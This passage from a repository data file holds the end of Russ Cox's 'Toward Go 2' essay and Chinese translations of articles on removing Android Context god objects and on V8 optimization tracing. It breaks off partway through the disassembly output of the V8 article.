any given step, and many solutions may be proposed for a single problem. Also, at any point we may realize we don’t want to go further with a particular idea and circle back to an earlier step.\n\nAlthough I don't believe we've ever talked about this process as a whole, we have explained parts of it. In 2012, when we released Go 1 and said that it was time now to use Go and stop changing it, we were explaining step 1. In 2015, when we introduced the Go change proposal process, we were explaining steps 3, 4, and 5. But we've never explained step 2 in detail, so I'd like to do that now.\n\n(For more about the development of Go 1 and the shift away from language changes, see Rob Pike and Andrew Gerrand's OSCON 2012 talk “[The Path to Go 1](https://blog.golang.org/the-path-to-go-1).” For more about the proposal process, see Andrew Gerrand's GopherCon 2015 talk “[How Go was Made](https://www.youtube.com/watch?v=0ht89TxZZnk)” and the [proposal process documentation](https://golang.org/s/proposal).)\n\n#### Explaining Problems\n\n![](https://blog.golang.org/toward-go2/process2.png)\n\nThere are two parts to explaining a problem. The first part—the easier part—is stating exactly what the problem is. We developers are decently good at this. After all, every test we write is a statement of a problem to be solved, in language so precise that even a computer can understand it. The second part—the harder part—is describing the significance of the problem well enough that everyone can understand why we should spend time solving it and maintaining a solution. In contrast to stating a problem precisely, we don't need to describe a problem's significance very often, and we're not nearly as good at it. Computers never ask us “why is this test case important? Are you sure this is the problem you need to solve? Is solving this problem the most important thing you can be doing?” Maybe they will someday, but not today.\n\nLet's look at an old example from 2011. Here is what I wrote about renaming os.Error to error.Value while we were planning Go 1.\n\n![](https://blog.golang.org/toward-go2/error.png)\n\nIt begins with a precise, one-line statement of the problem: in very low-level libraries everything imports \"os\" for os.Error. Then there are five lines, which I've underlined here, devoted to describing the significance of the problem: the packages that \"os\" uses cannot themselves present errors in their APIs, and other packages depend on \"os\" for reasons having nothing to do with operating system services.\n\nDo these five lines convince you that this problem is significant? It depends on how well you can fill in the context I've left out: being understood requires anticipating what others need to know. For my audience at the time—the ten other people on the Go team at Google who were reading that document—those fifty words were enough. To present the same problem to the audience at GothamGo last fall—an audience with much more varied backgrounds and areas of expertise—I needed to provide more context, and I used about two hundred words, along with real code examples and a diagram. It is a fact of today's worldwide Go community that describing the significance of any problem requires adding context, especially illustrated by concrete examples, that you would leave out when talking to coworkers.\n\nConvincing others that a problem is significant is an essential step. When a problem appears insignificant, almost every solution will seem too expensive. But for a significant problem, there are usually many solutions of reasonable cost. When we disagree about whether to adopt a particular solution, we're often actually disagreeing about the significance of the problem being solved. This is so important that I want to look at two recent examples that show this clearly, at least in hindsight.\n\n#### Example: Leap seconds\n\nMy first example is about time.\n\n\nSuppose you want to time how long an event takes. You write down the start time, run the event, write down the end time, and then subtract the start time from the end time. If the event took ten milliseconds, the subtraction gives a result of ten milliseconds, perhaps plus or minus a small measurement error.\n\n```\nstart := time.Now()       // 3:04:05.000\nevent()\nend := time.Now()         // 3:04:05.010\n\nelapsed := end.Sub(start) // 10 ms\n```\n\nThis obvious procedure can fail during a [leap second](https://en.wikipedia.org/wiki/Leap_second). When our clocks are not quite in sync with the daily rotation of the Earth, a leap second—officially 11:59pm and 60 seconds—is inserted just before midnight. Unlike leap years, leap seconds follow no predictable pattern, which makes them hard to fit into programs and APIs. Instead of trying to represent the occasional 61-second minute, operating systems typically implement a leap second by turning the clock back one second just before what would have been midnight, so that 11:59pm and 59 seconds happens twice. This clock reset makes time appear to move backward, so that our ten-millisecond event might be timed as taking negative 990 milliseconds.\n\n```\nstart := time.Now()       // 11:59:59.995\nevent()\nend := time.Now()         // 11:59:59.005 (really 11:59:60.005)\n\nelapsed := end.Sub(start) // –990 ms\n```\n\nBecause the time-of-day clock is inaccurate for timing events across clock resets like this, operating systems now provide a second clock, the monotonic clock, which has no absolute meaning but counts seconds and is never reset.\n\nExcept during the odd clock reset, the monotonic clock is no better than the time-of-day clock, and the time-of-day clock has the added benefit of being useful for telling time, so for simplicity Go 1’s time APIs expose only the time-of-day clock.\n\nIn October 2015, a [bug report](https://golang.org/issue/12914) noted that Go programs could not time events correctly across clock resets, especially a typical leap second. The suggested fix was also the original issue title: “add a new API to access a monotonic clock source.” I argued that this problem was not significant enough to justify new API. A few months earlier, for the mid-2015 leap second, Akamai, Amazon, and Google had slowed their clocks a tiny amount for the entire day, absorbing the extra second without turning their clocks backward. It seemed like eventual widespread adoption of this “[leap smear](https://developers.google.com/time/smear)” approach would eliminate leap-second clock resets as a problem on production systems. In contrast, adding new API to Go would add new problems: we would have to explain the two kinds of clocks, educate users about when to use each, and convert many lines of existing code, all for an issue that rarely occurred and might plausibly go away on its own.\n\nWe did what we always do when there's a problem without a clear solution: we waited. Waiting gives us more time to add experience and understanding of the problem and also more time to find a good solution. In this case, waiting added to our understanding of the significance of the problem, in the form of a thankfully [minor outage at Cloudflare](https://www.theregister.co.uk/2017/01/04/cloudflare_trips_over_leap_second/). Their Go code timed DNS requests during the end-of-2016 leap second as taking around negative 990 milliseconds, which caused simultaneous panics across their servers, breaking 0.2% of DNS queries at peak.\n\nCloudflare is exactly the kind of cloud system Go was intended for, and they had a production outage based on Go not being able to time events correctly. Then, and this is the key point, Cloudflare reported their experience in a blog post by John Graham-Cumming titled “[How and why the leap second affected Cloudflare DNS](https://blog.cloudflare.com/how-and-why-the-leap-second-affected-cloudflare-dns/).” By sharing concrete details of their experience with Go in production, John and Cloudflare helped us understand that the problem of accurate timing across leap second clock resets was too significant to leave unfixed. Two months after that article was published, we had designed and implemented a solution that will [ship in Go 1.9](https://beta.golang.org/doc/go1.9#monotonic-time) (and in fact we did it with [no new API](https://golang.org/design/12914-monotonic)).\n\n#### Example: Alias declarations\n\nMy second example is support for alias declarations in Go.\n\nOver the past few years, Google has established a team focused on large-scale code changes, meaning API migration and bug fixes applied across our [codebase of millions of source files and billions of lines of code](http://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/pdf) written in C++, Go, Java, Python, and other languages. One thing I've learned from that team's work is the importance, when changing an API from using one name to another, of being able to update client code in multiple steps, not all at once. To do this, it must be possible to write a declaration forwarding uses of the old name to the new name. C++ has #define, typedef, and using declarations to enable this forwarding, but Go has nothing. Of course, one of Go's goals is to scale well to large codebases, and as the amount of Go code at Google grew, it became clear both that we needed some kind of forwarding mechanism and also that other projects and companies would run into this problem as their Go codebases grew.\n\nIn March 2016, I started talking with Robert Griesemer and Rob Pike about how Go might handle gradual codebase updates, and we arrived at alias declarations, which are exactly the needed forwarding mechanism. At this point, I felt very good about the way Go was evolving. We'd talked about aliases since the early days of Go—in fact, the first spec draft has [an example using alias declarations](https://go.googlesource.com/go/+/18c5b488a3b2e218c0e0cf2a7d4820d9da93a554/doc/go_spec#1182)—but each time we'd discussed aliases, and later type aliases, we had no clear use case for them, so we left them out. Now we were proposing to add aliases not because they were an elegant concept but because they solved a significant practical problem with Go meeting its goal of scalable software development. I hoped this would serve as a model for future changes to Go.\n\nLater in the spring, Robert and Rob wrote [a proposal](https://golang.org/design/16339-alias-decls), and Robert presented it in a [Gophercon 2016 lightning talk](https://www.youtube.com/watch?v=t-w6MyI2qlU). The next few months did not go smoothly, and they were definitely not a model for future changes to Go. One of the many lessons we learned was the importance of describing the significance of a problem.\n\nA minute ago, I explained the problem to you, giving some background about how it can arise and why, but with no concrete examples that might help you evaluate whether the problem might affect you at some point. Last summer’s proposal and the lightning talk gave an abstract example, involving packages C, L, L1, and C1 through Cn, but no concrete examples that developers could relate to. As a result, most of the feedback from the community was based on the idea that aliases only solved a problem for Google, not for everyone else.\n\nJust as we at Google did not at first understand the significance of handling leap second time resets correctly, we did not effectively convey to the broader Go community the significance of handling gradual code migration and repair during large-scale changes.\n\nIn the fall we started over. I gave a [talk](https://www.youtube.com/watch?v=h6Cw9iCDVcU) and wrote [an article presenting the problem](https://talks.golang.org/2016/refactor.article) using multiple concrete examples drawn from open source codebases, showing how this problem arises everywhere, not just inside Google. Now that more people understood the problem and could see its significance, we had a [productive discussion](https://golang.org/issue/18130) about what kind of solution would be best. The outcome is that [type aliases](https://golang.org/design/18130-type-alias) will be [included in Go 1.9](https://beta.golang.org/doc/go1.9#language) and will help Go scale to ever-larger codebases.\n\n#### Experience reports\n\nThe lesson here is that it is difficult but essential to describe the significance of a problem in a way that someone working in a different environment can understand. To discuss major changes to Go as a community, we will need to pay particular attention to describing the significance of any problem we want to solve. The clearest way to do that is by showing how the problem affects real programs and real production systems, like in [Cloudflare's blog post](https://blog.cloudflare.com/how-and-why-the-leap-second-affected-cloudflare-dns/) and in [my refactoring article](https://talks.golang.org/2016/refactor.article).\n\nExperience reports like these turn an abstract problem into a concrete one and help us understand its significance. They also serve as test cases: any proposed solution can be evaluated by examining its effect on the actual, real-world problems the reports describe.\n\nFor example, I've been examining generics recently, but I don't have in my mind a clear picture of the detailed, concrete problems that Go users need generics to solve. As a result, I can't answer a design question like whether to support generic methods, which is to say methods that are parameterized separately from the receiver. If we had a large set of real-world use cases, we could begin to answer a question like this by examining the significant ones.\n\nAs another example, I’ve seen proposals to extend the error interface in various ways, but I haven't seen any experience reports showing how large Go programs attempt to understand and handle errors at all, much less showing how the current error interface hinders those attempts. These reports would help us all better understand the details and significance of the problem, which we must do before solving it.\n\nI could go on. Every major potential change to Go should be motivated by one or more experience reports documenting how people use Go today and why that's not working well enough. For the obvious major changes we might consider for Go, I'm not aware of many such reports, especially not reports illustrated with real-world examples.\n\nThese reports are the raw material for the Go 2 proposal process, and we need all of you to write them, to help us understand your experiences with Go. There are half a million of you, working in a broad range of environments, and not that many of us. Write a post on your own blog, or write a [Medium](https://www.medium.com/) post, or write a [Github Gist](https://gist.github.com/) (add a `.md` file extension for Markdown), or write a [Google doc](https://docs.google.com/), or use any other publishing mechanism you like. After you've posted, please add the post to our new wiki page, [golang.org/wiki/ExperienceReports](https://golang.org/wiki/ExperienceReports).\n\n#### Solutions\n\n![](https://blog.golang.org/toward-go2/process34.png)\n\nNow that we know how we're going to identify and explain problems that need to be solved, I want to note briefly that not all problems are best solved by language changes, and that's fine. One problem we might want to solve is that computers can often compute additional results during basic arithmetic operations, but Go does not provide direct access to those results. In 2013, Robert proposed that we might extend the idea of two-result (“comma-ok”) expressions to basic arithmetic. For example, if x and y are, say, uint32 values, `lo, hi = x * y` would return not only the usual low 32 bits but also the high 32 bits of the product. This problem didn't seem particularly significant, so we [recorded the potential solution](https://golang.org/issue/6815) but didn't implement it. We waited.\n\nMore recently, we designed for Go 1.9 a [math/bits package](https://beta.golang.org/doc/go1.9#math-bits) that contains various bit manipulation functions:\n\n```\npackage bits // import \"math/bits\"\n\nfunc LeadingZeros32(x uint32) int\nfunc Len32(x uint32) int\nfunc OnesCount32(x uint32) int\nfunc Reverse32(x uint32) uint32\nfunc ReverseBytes32(x uint32) uint32\nfunc RotateLeft32(x uint32, k int) uint32\nfunc TrailingZeros32(x uint32) int\n...\n```\n\nThe package has good Go implementations of each function, but the compilers also substitute special hardware instructions when available. Based on this experience with math/bits, both Robert and I now believe that making the additional arithmetic results available by changing the language is unwise, and that instead we should define appropriate functions in a package like math/bits. Here the best solution is a library change, not a language change.\n\nA different problem we might have wanted to solve, after Go 1.0, was the fact that goroutines and shared memory make it too easy to introduce races into Go programs, causing crashes and other misbehavior in production. The language-based solution would have been to find some way to disallow data races, to make it impossible to write or at least to compile a program with a data race. How to fit that into a language like Go is still an open question in the programming language world. Instead we added a tool to the main distribution and made it trivial to use: that tool, the [race detector](https://blog.golang.org/race-detector), has become an indispensible part of the Go experience. Here the best solution was a runtime and tooling change, not a language change.\n\nThere will be language changes as well, of course, but not all problems are best solved in the language.\n\n#### Shipping Go 2\n\n![](https://blog.golang.org/toward-go2/process5.png)\n\nFinally, how will we ship and deliver Go 2?\n\nI think the best plan would be to ship the [backwards-compatible parts](https://golang.org/doc/go1compat) of Go 2 incrementally, feature by feature, as part of the Go 1 release sequence. This has a few important properties. First, it keeps the Go 1 releases on the [usual schedule](https://golang.org/wiki/Go-Release-Cycle), to continue the timely bug fixes and improvements that users now depend on. Second, it avoids splitting development effort between Go 1 and Go 2. Third, it avoids divergence between Go 1 and Go 2, to ease everyone's eventual migration. Fourth, it allows us to focus on and deliver one change at a time, which should help maintain quality. Fifth, it will encourage us to design features to be backwards-compatible.\n\nWe will need time to discuss and plan before any changes start landing in Go 1 releases, but it seems plausible to me that we might start seeing minor changes about a year from now, for Go 1.12 or so. That also gives us time to land package management support first.\n\nOnce all the backwards-compatible work is done, say in Go 1.20, then we can make the backwards-incompatible changes in Go 2.0. If there turn out to be no backwards-incompatible changes, maybe we just declare that Go 1.20 is Go 2.0. Either way, at that point we will transition from working on the Go 1.X release sequence to working on the Go 2.X sequence, perhaps with an extended support window for the final Go 1.X release.\n\nThis is all a bit speculative, and the specific release numbers I just mentioned are placeholders for ballpark estimates, but I want to make clear that we're not abandoning Go 1, and that in fact we will bring Go 1 along to the greatest extent possible.\n\n#### Help Wanted\n\nWe need your help.\n\nThe conversation for Go 2 starts today, and it's one that will happen in the open, in public forums like the mailing list and the issue tracker. Please help us at every step along the way.\n\nToday, what we need most is experience reports. Please tell us how Go is working for you, and more importantly not working for you. Write a blog post, include real examples, concrete detail, and real experience. And link it on our [wiki page](https://golang.org/wiki/ExperienceReports). That's how we'll start talking about what we, the Go community, might want to change about Go.\n\nThank you.\n\nBy Russ Cox\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/towards-godless-android-development-how-and-why-i-kill-god-objects.md",
    "content": "> * 原文地址：[Towards Godless Android Development: How and Why I Kill God Objects](https://www.philosophicalhacker.com/post/towards-godless-android-development-how-and-why-i-kill-god-objects/)\n* 原文作者：[Philosophical Hacker](https://www.philosophicalhacker.com)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Danny Lau](https://github.com/Danny1451) \n* 校对者：[skyar2009](https://github.com/skyar2009) , [tanglie](https://github.com/tanglie1993)\n\n![](https://www.philosophicalhacker.com/images/nietzsche.jpg)\n\n# 面向无神论安卓开发：如何和为什么要干掉上帝对象\n\n> 上帝已死... Context 也已经死了。\n> \n> –Friedrich Nietszche （或许吧）\n\n不像其他领域中的无神论，面向对象编程中的无神论无可争议地是没毛病的。有些人可能希望学校里有上帝或者政府里有上帝，但是其他条件相同的情况下，没有人真正愿意在他们的编程过程中存在着上帝。\n\n特别是在安卓开发中，我们都知道有一个让我们又爱又恨的上帝: `Context` 。<sup>[\\[1\\]](#note1)</sup>  这篇文章是关于我为什么要和如何把我的应用中的 `Context` 消灭的，其原因和方法同样也适用于 “杀死“ 其他领域的上帝。\n\n### 为什么我要干掉 Context\n\n虽然 `Context` 是上帝对象，我也知道使用上帝对象有很多不好的地方，但是这并不是我想要移除 Context 的主要原因。事实上，在开始 `TDD` 之后很自然而然地就要想要去干掉 `Context` 了。为什么呢？因为在我们进行 TDD 的时候，主要是忙着进行着一厢情愿的活动：我们为测试的对象写了很多我们想要的接口。Freeman 和 Pryce 这么说道：\n\n> 我们倾向于通过写一个测试来开始，假设它已经有对应的实现了，然后添加任何需要来让它生效 - 这就是 Abelson 和 Sussman 所说的 “一厢情愿的编程” 。<sup>[\\[2\\]](#note2)</sup>\n\n如果我们仔细地考虑下这种方式，它和[我们不应该构造我们没有的虚拟对象](https://www.philosophicalhacker.com/post/how-we-misuse-mocks-for-android-tests/)的思想很相似，最后，我们既有用该对象的问题域表示的依赖，又有一个适配层。Freeman 和 Pryce 又说过：\n\n> 如果我们不想模拟外部的 API，那我们怎么能测试那些驱动他的代码呢？我们将使用 TDD 在对象的问题域中给其所需要的服务设计接口，而不是直接用外部的库。<sup>[\\[3\\]](#note3)</sup>\n\n\n当在测试中第一次给我的对象写这个理想接口时，我发现其实没有一个的类是真正需要 `Context` 的。我的对象们真正需要的是一个获取本地字符串，或者是持久化存储键值对的方法，而这些我们通常都是间接通过 Context 对象来获取的。\n\n当我传入一个与被测试对象的角色关系很清晰的对象，而不是传一个 `Context` 时，我就能够更容易地去理解我的类。\n\n下面是一个例子，假设你需要实现下面的内容：\n\n> 当用户使用 app 三次之后展示一个 “评分弹窗”。用户可以选择给 app 评分，要求下次提醒再评分，或者拒绝评分。如果用户选择了评分，就把他们引导到 Google play store 并且下次不再展示。如果用户选择下次提醒评分，三天之后再次显示弹窗。如果用户拒绝评分的话，那就再也不展示弹窗。\n\n这个功能可能让我们有点小紧张，那就先让[恐惧驱动我们写个测试](https://www.philosophicalhacker.com/post/what-should-we-unit-test/)。\n\n```\n@RunWith(MockitoJUnitRunner.class)\npublic class AppRaterPresenterTests {\n\n  @Mock AskAppRateView askAppRateView;\n  @Mock AppUsageStore appUsageStore;\n\n  @Test public void showsRateDialogIfUsedThreeTimes() throws Exception {  \n\n    AskAppRatePresenter askAppRatePresenter = new AskAppRatePresenter(appUsageStore);\n    when(appUsageStore.getNumberOfUsages()).thenReturn(3);\n\n    askAppRatePresenter.onAttach(askAppRateView);\n\n    verify(askAppRateView).displayAsk();\n  }\n}\n```\n   \n在我写这个测试和给 `AskAppRatePresenter` 写理想接口的时候，我不会去考虑应用使用次数是怎么存储的。它们应该是通过 `SharedPreferences` 或者数据库或者是 realm 或者其他方式来存储的，因此，我没有将 `AskAppRatePresenter` 设计成需要 Context 对象。我关心的只有 `AskAppRatePresenter` 有一个获得应用使用次数的方法而已。<sup>[\\[4\\]](#note4)</sup>\n\n这一步确实让我后面看代码更加容易一点。如果看到 Context 已经被注入到对象里了，我可能真的不知道它是用来做什么的。它是个上帝对象，能够用来干任何事情。但是如果我看到了一个 AppUsageStore 被传进去了，那我就能进一步知道这个 AskAppRatePresenter 是干什么的。<sup>[\\[5\\]](#note5)</sup>\n\n### 我怎么样干掉 Context\n\n一旦我们写了测试和失败用例，我们可以开始实现我们需要传进去的参数。很明显，在实现里面我们需要一个 `Context` ，但是它是一个 AskAppRatePresenter 不需要知道的细节。这里有两个公认的方式去实现，一种是把 `Context` 传入 AppUsageStore 的构造方法里，这样就能从 `SharedPreferences` 获取存储的信息。\n\n```\nclass SharedPreferencesAppUsageStore implements AppUsageStore {\n    private final SharedPreferences sharedPreferences;\n\n    SharedPreferencesAppUsageStore(Context context) {\n      sharedPreferences = context.getSharedPreferences(\"usage\", Context.MODE_PRIVATE);\n    }\n\n    @Override public int getNumberOfUsages() {\n      return sharedPreferences.getInt(\"numusages\", 0);\n    }\n  }\n}\n```\n\n另外一个方法是让使用这个 presenter 的 Activity 去继承 `AppUsageStore` 的接口，然后传一个 Activity 的引用到 `AskAppRatePresenter` 的构造方法中。\n\n```\npublic class MainActivity extends Activity implements AppUsageStore, AskAppRateView {\n\n    @Override protected void onCreate(Bundle savedInstanceState) {\n      super.onCreate(savedInstanceState);\n      AskAppRatePresenter askAppRatePresenter = new AskAppRatePresenter(this);\n      askAppRatePresenter.onAttach(this);\n    }\n\n    @Override public int getNumberOfUsages() {\n      return getSharedPreferences(\"usage\", Context.MODE_PRIVATE)\n          .getInt(\"usage\", 0);\n    }\n}\n```\n\n所以，干掉 `Context` - 或者其他类似的上帝对象 - 的通用方法如下所示：\n\n1. 创造一个代表你真正想从 Context 中获取的内容的接口。\n2. 创造一个继承这个接口的类；这个类可能已经是一个 Context 了 （比如：Activity ）\n3. 把这个类注入到你的类里面。\n\n### 结论\n\n\n如果你能够坚持遵循上述的准则，那么所有你感兴趣的代码实际上都不会和 Context 有交互。所有与 `Context` 交互都将在适配层中实现。当你领悟到这一点时，你就能够专心在你感兴趣的代码上 ，并不会因为任何与上帝有关接口而影响你去理解你的代码。\n\n### 注释:\n\n <a name=\"note1\"></a> 1. `Context` 是一个上帝对象。我们都知道[上帝对象是反设计模式](https://en.wikipedia.org/wiki/God_object), 也许 `Context` 看上去就是一个错误。但是我不这么认为，因为第一，在我[上一篇文章](https://github.com/xitu/gold-miner/blob/master/TODO/why-android-testing-is-so-hard-historical-edition.md)指出的， Android 刚开始的时候非常看重性能，整洁的抽象在那个时候可能是一种消耗计算机性能的奢侈浪费，并不能被接受。第二点，根据 Diane Hackborne 的想法，app 组件被精确定位为和 Android OS 的进行特定交互作用的。他们不是你的典型对象因为他们是由框架实例化的并且他们是庞大的 Android SDK 的一个入口。这两个论点证明了 context 设计成一个上帝对象可能不是一个坏的点子。\n\n <a name=\"note2\"></a> 2. Steve Freeman 和 Nat Pryce, **测试驱动的面向对象软件开发**, 141.\n\n <a name=\"note3\"></a> 3. Ibid., 121-122\n\n <a name=\"note4\"></a> 4. 有趣的是，通过 TDD, 我们无意中就走进了遵循[接口分离原则](https://en.wikipedia.org/wiki/Interface_segregation_principle)的代码中去了。\n\n <a name=\"note5\"></a> 5. 这说明注入对象的复杂度和我们去理解被注入的类的难易程度是成反相关的。换句话说，一个类的依赖越复杂，那么理解这个类的本身含义就越难。\n"
  },
  {
    "path": "TODO/tracing-patterns-hinder-performance.md",
    "content": "\n> * 原文地址：[Tracing Patterns that Might Hinder Performance](https://www.netguru.co/blog/tracing-patterns-hinder-performance)\n> * 原文作者：[Jakub Rożek](https://www.netguru.co/blog/tracing-patterns-hinder-performance)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/tracing-patterns-hinder-performance.md](https://github.com/xitu/gold-miner/blob/master/TODO/tracing-patterns-hinder-performance.md)\n> * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD/)\n> * 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)、[HydeSong](https://github.com/HydeSong)\n\n# 找出可能影响性能的代码（模式）\n\n现在你很可能会遇到不止一个响应迟钝的 app 或加载缓慢的页面。已经是 2017 年了，我们当然希望一切变的很快，但我们仍然会体验到恼人的延时。怎么会这样呢？难道我们的网络连接不是逐年变快的么？我们的浏览器性能不是也变的更好？我们将在下文中讨论这些。\n\n事实上，浏览器和引擎越来越快，新特性也在不停的增加，一些过时的特性也在被废弃。网站和 app 也是如此。同时，它们也更大、更重了，因此即使浏览器和硬件越来越好，我们也需要考虑性能 -- 至少在某种程度上。我们来看看如何找出常见的性能陷阱，来改善网站和 app 的性能，但在此之前，我们先来看一下概览。\n\n## 优化\n\n关于流水线（pipeline）我可以写一本书，但本文中我还是想关注有助于优化过程的关键点。我会阐述一些会极大影响性能的常见错误。为了简洁，我不会讨论 parsing、AST、机器码生成、GC（垃圾收集）、反馈收集、OSR(on-stack replacement) -- 别担心，我会在未来的文章中解释它们。\n\n### 旧版本\n\n旧版本使用的基准编译器（baseline compiler）和优化编译器 Crankshaft，已经在 Chrome M59 中被废弃。\n\n基准编译器并不会进行任何优化，它仅仅是快速编译代码，然后使其被执行。需要注意的是，生成优化代码严重依赖于假设，它反过来又需要假设类型反馈，因此需要首先执行基准编译器。\n\n一旦某个函数被频繁执行（hot，通常引擎认为它值得优化），Crankshaft 就发挥（优化）作用了。它生成的代码性能非常好，接近于 Java。这种优化方式是业内第一，它带来了巨大的性能提升。因此 JS 才能有较好的性能，前端开发者也能够用它来创建复杂的 web 应用。\n\n### 新版本\n\n随着 web 的发展，新的框架诞生，规范也在更新升级，在 Crankshaft 基础上扩展变得非常困难。有的代码不会被 Crankshaft 优化，比如操作 arguments 对象的某些方法（安全的方式有 unmonkey-patched Function.prototype.apply、length属性、未越界的下标），try-catch 语句和[其它](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers)。幸运的是，新的架构 Ignition 和 TurboFan 可以解决其中一些性能瓶颈。现在，有一些模式可以得到更好的优化。如前文所述，优化也是有成本的，需要耗费一些资源（在低端的移动设备上资源可能很有限）。但在多数情况下，你还是希望你的函数能够得到优化。\n\n引入 TurboFan 的[原因](https://docs.google.com/presentation/d/1H1lLsbclvzyOF3IUR05ZUaZcqDxo7_-8f4yJoxdMooU/edit#slide=id.g18ceb14721_0_39)有：\n\n- 提供统一的代码生成架构\n- 减少 V8 的移植/维护成本\n- 去除性能陷阱\n- 新特性实验更容易 (i.e. changes to load/store ICs, bootstrapping an interpreter)\n\n当然，前提是不牺牲性能。生成字节码相对很快，但解释字节码可能比执行优化后的代码慢 100 倍。它显然取决于编译器的复杂度。基准编译器的目的从来就不是生成很快的代码，但将执行时间考虑在内的话，它仍然比 Ignition 快（不是快很多，在某些场景下快 3-4 倍）。TurboFan 的目的是取代上一代的优化编译器 -- Crankshaft。\n\n## 我们需要优化吗?\n\n不一定。\n\n如果一个函数只会执行一两次，并不值得优化。但如果可能执行多次，值类型和对象结构固定的话，你就很可能需要考虑优化你的代码了。我们可能不会意识到规范中的一些异常。而引擎需要处理（这些异常），通常很难理解。举例：读取属性时，引擎需要考虑到各种边界情况，通常在真实场景下不会发生。为什么会这样呢？有时是为了向后兼容，有时是其它原因 -- 每种情况都有不同。如果发现多余的操作，我们根本就不需要执行！优化引擎会发现这样的场景，尝试去除掉多余的操作。去除后的函数就称为 stub。\n\n由于 JS 是动态类型语言，我们需要做很多假设。所以最好让属性保持单态 -- 换句话说，应该只有一个路径。一旦假设不匹配，就会发生反优化（deopt），优化过的函数也就不再生效。这无疑是我们要避免的。每次优化都是或多或少需要耗费资源，再次优化时就需要考虑到之前的情况，以避免属性不是单态。只要不多于 4 条路径，它就会保持多态（polymorphic）。多于 4 条路径的话，称为 megamorphic。\n\n## 开始之前\n\n只有传递了参数 `--allow-natives-syntax`， 才可以使用 `%` 为前缀的函数。\n\n一般情况下，你**不应该**使用它们。在 V8 的源码（src/runtime）中可以找到它们的定义。所有会引起反优化的原因（bailout/deopt reasons）:https://cs.chromium.org/chromium/src/v8/src/bailout-reason.h)\n\n传递参数 `--trace-opt`，可以查看你的函数是否被优化；传递 `--trace-deopt`，查看已优化的函数出现反优化的情况。\n\n## 举例\n\n## 例子 1\n\n先来看一个非常简单的例子。\n\n首先我们定义一个计算加法的函数 add，它接收 2 个加数，返回它们相加后的结果。很简单，对吧？继续看后面的代码：\n\n```js\nfunction add(a, b) {\n  return a + b;\n}\n\n// 1. IC feedback unitialized\nadd(23, 44);\n// 2. now it's pre-monomorphic\nadd(2, 88);\n// let’s optimize 'add' on its next call\n%OptimizeFunctionOnNextCall(add);\nadd(2, 7); // now we call our optimized function, feedback has been collected, let's see whether we can retrieve some deopts reason.\n```\n\n```bash\nd8 --trace-deopt --print-opt-code --allow-natives-syntax --code-comments --turbo add.js\n```\n\n如果运行的 V8 版本低于 5.9，必须显式传递 `--turbo` 参数，以调用 TurboFan。\n\n运行上面的命令，会得到以下类似输出：\n\n```bash\n--- Raw source ---\n(a, b) {\n  return a + b;\n}\n\n\n--- Optimized code ---\noptimization_id = 0\nsource_position = 12\nkind = OPTIMIZED_FUNCTION\nname = add\nstack_slots = 4\ncompiler = turbofan\nInstructions (size = 151)\n                  -- <add.js:1:13> --\n                  -- B0 start (construct frame) --\n0x19b11ce84220     0  55             push rbp\n0x19b11ce84221     1  4889e5         REX.W movq rbp,rsp\n0x19b11ce84224     4  56             push rsi\n0x19b11ce84225     5  57             push rdi\n0x19b11ce84226     6  493ba5700c0000 REX.W cmpq rsp,[r13+0xc70]\n0x19b11ce8422d    13  0f863d000000   jna 80  (0x19b11ce84270)\n                  -- B2 start --\n                  -- B3 start (deconstruct frame) --\n                  -- <add.js:2:12> --\n0x19b11ce84233    19  488b4518       REX.W movq rax,[rbp+0x18]\n0x19b11ce84237    23  a801           test al,0x1\n0x19b11ce84239    25  0f8548000000   jnz 103  (0x19b11ce84287)\n0x19b11ce8423f    31  488b5d10       REX.W movq rbx,[rbp+0x10]\n0x19b11ce84243    35  f6c301         testb rbx,0x1\n0x19b11ce84246    38  0f8540000000   jnz 108  (0x19b11ce8428c)\n0x19b11ce8424c    44  488bd3         REX.W movq rdx,rbx\n0x19b11ce8424f    47  48c1ea20       REX.W shrq rdx, 32\n0x19b11ce84253    51  488bc8         REX.W movq rcx,rax\n0x19b11ce84256    54  48c1e920       REX.W shrq rcx, 32\n0x19b11ce8425a    58  03d1           addl rdx,rcx\n0x19b11ce8425c    60  0f802f000000   jo 113  (0x19b11ce84291)\n                  -- <add.js:3:1> --\n0x19b11ce84262    66  48c1e220       REX.W shlq rdx, 32\n0x19b11ce84266    70  488bc2         REX.W movq rax,rdx\n0x19b11ce84269    73  488be5         REX.W movq rsp,rbp\n0x19b11ce8426c    76  5d             pop rbp\n0x19b11ce8426d    77  c21800         ret 0x18\n                  -- B4 start (no frame) --\n                  -- B1 start (deferred) --\n                  -- <add.js:1:13> --\n0x19b11ce84270    80  48bb00d66b0201000000 REX.W movq rbx,0x1026bd600    ;; external reference (Runtime::StackGuard)\n0x19b11ce8427a    90  33c0           xorl rax,rax\n0x19b11ce8427c    92  488b75f8       REX.W movq rsi,[rbp-0x8]\n0x19b11ce84280    96  e81bffdfff     call 0x19b11cc841a0     ;; code: STUB, CEntryStub, minor: 8\n0x19b11ce84285   101  ebac           jmp 19  (0x19b11ce84233)\n0x19b11ce84287   103  e874fdc7ff     call 0x19b11cb04000     ;; debug: deopt position, script offset '32'\n                                                             ;; debug: deopt position, inlining id '-1'\n                                                             ;; debug: deopt reason 'not a Smi'\n                                                             ;; debug: deopt index 0\n                                                             ;; deoptimization bailout 0\n0x19b11ce8428c   108  e879fdc7ff     call 0x19b11cb0400a     ;; debug: deopt position, script offset '32'\n                                                             ;; debug: deopt position, 